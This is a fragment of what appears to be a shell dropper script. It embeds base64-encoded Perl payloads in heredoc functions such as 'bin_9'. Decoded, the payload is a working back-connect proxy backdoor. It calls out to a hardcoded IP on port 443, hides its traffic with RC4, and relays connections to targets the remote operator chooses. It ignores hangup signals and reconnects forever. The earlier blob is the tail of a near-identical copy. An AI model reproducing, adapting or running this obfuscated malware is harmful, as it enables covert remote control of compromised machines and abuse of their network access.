dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_9() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjgnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv 